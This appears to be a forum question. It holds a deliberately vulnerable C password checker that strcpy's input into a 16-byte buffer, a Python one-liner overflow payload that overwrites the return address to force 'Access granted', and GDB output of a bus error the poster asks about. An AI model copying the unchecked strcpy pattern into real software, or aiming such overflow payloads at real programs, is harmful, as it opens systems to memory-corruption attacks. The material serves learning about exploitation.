#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int check_authentication(char *password){
int auth_flag = 0;
char password_buffer[16];
strcpy(password_buffer, password);
if(strcmp(password_buffer, "pass1") == 0)
auth_flag = 1;
if(strcmp(password_buffer, "pass2") == 0)
auth_flag = 1;
return auth_flag;
}
int main(int argc, char **argv)
{
if(argc < 2){
printf("\t[!] Correct usage: %s <password>\n", argv[0]);
exit(0);
}
if(check_authentication(argv[1])){
printf("\n-=-=-=-=-=-=-=-=\n");
printf(" Access granted.\n");
printf("-=-=-=-=-=-=-=-=\n");
} else {
printf("\nAccess Denied.\n");
}
return 0;
}
I tried to buffer overflow this code.
I typed ./ex $(python -c 'print "a"*40+"\xf8\x06\x40"') and I get this result.
-=-=-=-=-=-=-=-=
Access granted.
-=-=-=-=-=-=-=-=
Bus Error (core dumped)
I think I succeed in buffer overflow. However I don't know why bus error occur after results.
0x0000000000400727 <+126>: leaveq
Program received signal SIGBUS, Bus error.
0x0000000000400727 in main ()
GDB saids SIGBUS has occurred in leaveq. Umm ... Why SIGBUS occur?
I'm using Ubuntu 16.04, x64 architecture.
